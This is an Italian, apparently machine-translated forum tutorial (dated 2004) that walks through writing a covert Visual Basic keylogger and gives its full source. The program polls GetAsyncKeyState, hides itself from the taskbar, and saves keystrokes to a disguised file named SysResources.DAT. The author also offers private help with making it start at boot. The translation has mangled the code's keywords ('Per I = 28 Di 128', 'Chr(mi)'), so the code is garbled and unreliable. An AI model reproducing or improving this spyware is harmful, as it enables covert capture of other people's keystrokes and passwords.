La creazione di un Registratore di tasti in VB

Ok...io parto dal presupposto che avere una comprensione di base di come visual basic funziona e come fare programmi, eseguire il debug e compila. Se non, e-mail me e io possa essere in grado di aiutare.

Innanzitutto, se non avete, scaricatelo. ApiGuide. Scarica a http://www.mentalis.org/agnet/apiguide.shtml

Ok. Aprire visual basic e avvio di una nuova applicazione. Aggiungere al form un pulsante, un timer e un modulo(so che il modulo non è in realtà parte di un form). Questo è tutto. Il cambiamento didascalia del pulsante per Avviare la Registrazione
(se si desidera farlo partire all'avvio...pm a me o e-mail me)
Ora che usando le api di guida o semplicemente copiando da qui, dichiarare una nuova funzione. la funzione GetASyncKeyState

Dichiarare la Funzione GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState"


(ByVal vKey As Long) As Integer

^---mettere questo nella sezione dichiarazioni del modulo.

Che è tutta una riga di codice. Assicurarsi che il suo simile. e non dividere in 2.

Ora avete una nuova funzione, l'uso di attraverso il vostro programma.
ok...
ora dobbiamo fare è essere "invisibile". Ora mi dispiace ma in Windows XP, non so come rimuoverlo dal "processi" del Task Manager. Ma più che Altro...la sua invisibile.

OK. Nel codice del pulsante..., nell'evento click di un corso di...
digitare il seguente

app.taskvisible = false


form1.visible = false


form1.nascondi


timer1.enabled = true








'e anche nella sezione proprietà del form...modificare il shownintaskbar false

Ora, quando si clicca il pulsante...va invisibile.

Ora stiamo andando a bisogno di alcune variabili....
Torna nella sezione dichiarazioni dichiarare le seguenti...

Dim strLetter come Stringa, strTotal come Stringa

Ora il timer codice di mettere questo. Spiegherò in seguito.
inoltre, impostare l'intervallo di 1 e enabled a false

Private Sub Timer1_Timer()





Per I = 28 Di 128





Se GetAsyncKeyState <> 0 Then





strLetter = Chr(mi)








"Ora, qui, è possibile aggiungere alcune cose


'in modo che invece di visualizzare


ritardato personaggi, che ti dice


'quello che l'utente ha premuto. Quello che voglio dire


'se si preme Invio, verrà


'Mostra qualche strana scatola. Non volete che


'u fare un select case circa per ogni


il tasto 'u desidera personalizzare. PM me o e-Mail


'a me per un aiuto su questa parte.








strTotal = strTotal & strLetter








End If





Next I





aprire "C:\Windows\SysResources.DAT" for output as #1


Print #1, strTotal


close #1





End Sub








'Il Codice

Ora tutto quello che dovete fare è quando si desidera controllare i tasti premuti, aprire C:\Windows\SysResource.DAT nel blocco note, e non c'è. Questo programma non verrà eseguito in fase di start up. Se volete sapere come fare, PM me, ma preferibilmente per e-mail a me. Mi sarebbe molto meglio avere mi aggiungi a Msn Messenger. La mia e-mail per messenger è... Black_viper_13@hotmail.com
La mia e-mail per inviare e-mail è..... Anarchist_ninja_thief@hotmail.com.

Spero che questo aiuta!
Qui è l'intero che codifica per la lamers...

'INIZIO





Dim strLetter Come Stringa, strTotal Come Stringa, vecchio come stringa





Private Sub Command1_Click()


Timer1.Enabled = True


End Sub





Private Sub Form_Load()


Command1.Caption = "Start Login"


Timer1.Enabled = False


Timer1.Interval = 1


End Sub





Private Sub Timer1_Timer()


Per I = 28 Di 128 'codice ASCII


Se GetAsyncKeyState <> 0 Then


strLetter = Chr(mi)


End If


Se strletter <> Allora


Vecchio = strletter


strTotal = strTotal & old


End If


Next I


Aprire "C:\windows\SysResources.dat" For Output As #1


Print #1, strTotal


Close #1


End Sub





'FINALE

penso che è oltre i Modulo del corso.
Data di pubblicazione: 2004-05-20